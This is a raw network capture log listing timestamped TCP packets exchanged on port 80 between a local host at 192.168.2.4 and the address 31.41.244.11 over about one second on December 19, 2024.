Dec 19, 2024 06:09:49.981163979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.981199026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.981235981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.989501953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.989609003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.989643097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.989644051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.997868061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.997932911 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:49.997973919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:49.998226881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.006356955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.006449938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.006469965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.006531954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.014816046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.014878035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.014883041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.014919043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.022967100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.023034096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.023085117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.023143053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.031416893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.031536102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.031717062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.031807899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.038645983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.038769007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.038784981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.038856030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.045895100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.045938015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.046006918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.046062946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.081564903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.081620932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.153904915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.153959036 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.153992891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.154043913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.156070948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.156137943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.156872034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.156929016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.157007933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.157166958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.161387920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.161438942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.161459923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.161497116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.165759087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.165853024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.165874004 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.166018963 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.170274973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.170362949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.170443058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.170496941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.174655914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.174794912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.174822092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.175038099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.179101944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.179187059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.179259062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.179337978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.183522940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.183624983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.183703899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.183703899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.187905073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.187954903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.188002110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.188097954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.192420959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.192517996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.192554951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.192554951 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.196772099 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.196882010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.196922064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.196963072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.201252937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.201308012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.201356888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.201415062 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.205648899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.205702066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.205715895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.205780983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.210057974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.210146904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.210163116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.210339069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.213557005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.213655949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.213661909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.213704109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.217041969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.217080116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.217148066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.217186928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.220540047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.220627069 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.220653057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.220699072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.224004984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.224045992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.224116087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.224169016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.227538109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.227579117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.227655888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.227734089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.230998993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.231041908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.231192112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.231331110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.234472990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.234539032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.234585047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.234668970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.238023043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.238073111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.238151073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.238210917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.345808029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.345849037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.345868111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.345910072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.347206116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.347333908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.347342968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.347385883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.349833012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.350030899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.350831985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.350884914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.350936890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.351119041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.353550911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.353631020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.353657961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.353754044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.356213093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.356312037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.356333971 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.356362104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.358768940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.358845949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.358855963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.358916998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.361326933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.361382961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.361442089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.361485958 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.363831997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.363935947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.363970041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.363970041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.366234064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.366297007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.366362095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.366426945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.368737936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.368758917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.368911982 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.368911982 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.371125937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.371201992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.371242046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.371323109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.373554945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.373622894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.373703957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.373735905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.376003981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.376070023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.376101017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.376261950 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.378427982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.378500938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.378541946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.378628969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.380856991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.380956888 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.380984068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.381014109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.383291960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.383349895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.383424044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.383513927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.385775089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.385860920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.385878086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.385900974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.388178110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.388228893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.388276100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.388353109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.390608072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.390680075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.390816927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.390816927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.393012047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.393085957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.393107891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.393188000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.395486116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.395513058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.395548105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.395548105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.397886038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.397974014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.397985935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.398104906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.400324106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.400454998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.400474072 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.400538921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.402774096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.402816057 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.402867079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.402944088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.405194998 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.405303001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.405333042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.405394077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.407624960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.407686949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.407752991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.407799959 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.410052061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.410156012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.410175085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.410228968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.412497997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.412600994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.412606955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.412667990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.414968014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.415025949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.415077925 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.415128946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.417371035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.417433023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.417495966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.417619944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.419796944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.419884920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.419967890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.420022964 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.422278881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.422327042 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.422429085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.422492027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.424659967 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.424738884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.424782991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.424830914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.427109003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.427232027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.427249908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.427297115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.429564953 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.429605961 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.429653883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.429691076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.431948900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.432065010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.537863016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.537945986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.537952900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.538002014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.538894892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.538950920 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.539004087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.539052010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.540950060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.541018009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.541023016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.541147947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.543006897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.543066978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.543144941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.543303967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.545073032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.545123100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.545164108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.545298100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.547110081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.547220945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.547250032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.547293901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.549073935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.549127102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.549187899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.549263000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.551024914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.551129103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.551131010 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.551249981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.553505898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.553590059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.553622007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.553709984 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.554877043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.554989100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.554990053 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.555224895 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.556762934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.556843996 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.556878090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.556992054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.558693886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.558765888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.558769941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.558804989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.560527086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.560616970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.560688019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.560688019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.562452078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.562510014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.562550068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.562604904 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.564300060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.564352989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.564456940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.564558029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.566183090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.566245079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.566292048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.566386938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.568063021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.568172932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.568176031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.568242073 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.569982052 CET	80	49860	31.41.244.11	192.168.2.4
